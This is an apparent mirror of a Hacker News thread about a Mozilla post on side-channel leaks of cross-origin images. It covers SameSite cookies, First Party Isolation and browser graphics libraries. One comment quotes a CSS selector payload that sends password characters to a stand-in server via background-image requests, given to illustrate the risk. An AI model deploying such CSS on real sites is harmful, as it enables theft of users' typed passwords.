Live data from Hacker News

Leaking silhouettes of cross-origin images

blog.mozilla.org

21–30 of 44 posts

Re: Leaking silhouettes of cross-origin images

#21
post #5

Sadly I think long term mitigating these side-channel attacks is not viable. Although stop-gap patches can buy us more time to get a good solution in place. It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak informatio…

Right. That's why you should set the SameSite attribute on session cookies.

Re: Leaking silhouettes of cross-origin images

#22
post #5

Sadly I think long term mitigating these side-channel attacks is not viable. Although stop-gap patches can buy us more time to get a good solution in place. It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak informatio…

Right. That's why you should set the SameSite attribute on session cookies.

Sure, but cookies are only a small part of the problem. It's not enough.

Re: Leaking silhouettes of cross-origin images

#23
post #17
post #3

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the C…

Isn't this only an issue on sites that allow custom css? There aren't many of these sites around (the only one I know of is reddit). In most cases if you're in a position to tamper with the css you can also tamper with the js directly.

Many sites serves CSS from third party CDNs. They could get compromised

Re: Leaking silhouettes of cross-origin images

#24
post #22

Earlier quoted context omitted.

Right. That's why you should set the SameSite attribute on session cookies.

Sure, but cookies are only a small part of the problem. It's not enough.

reading of cross origin images isn't an attack vector unless credentials were used to request it.

Otherwise its no different then doing curl on the attacker's machine.

Re: Leaking silhouettes of cross-origin images

#25
post #11
post #4

The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.

WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies

Pretty sure JavaScriptCore predates Chrome. V8 was Chrome only.

Re: Leaking silhouettes of cross-origin images

#28
post #9

Earlier quoted context omitted.

I think First Party Isolation (available by default in Tor browser and via a about:config flag in Firefox) is this feature?

Exactly. I've used this for over a year now in FF. It can be a bit annoying with things like recaptcha, and sadly some login systems completely break (like Atlassian SSO), but overall most things work just fine.

Also many sites claim I'm blocking their ads, and sometimes they attempt to prevent me from continue using the site.

Re: Leaking silhouettes of cross-origin images

#29
post #11
post #4

The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.

WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies

Apple has, as far as I can tell, always used CoreText on macOS.

Re: Leaking silhouettes of cross-origin images

#30
I wonder how much of the web would break if non-same-origin images just couldn't be used in canvases, or in any way other than in an img tag that shows the whole unmodified undecorated image?

I get why non-same-origin images need to keep working. I'm curious what depends on using non-same-origin images in canvas rendering, and how hard it'd be for those sites to migrate to loading those images first-party.

Post reply on HN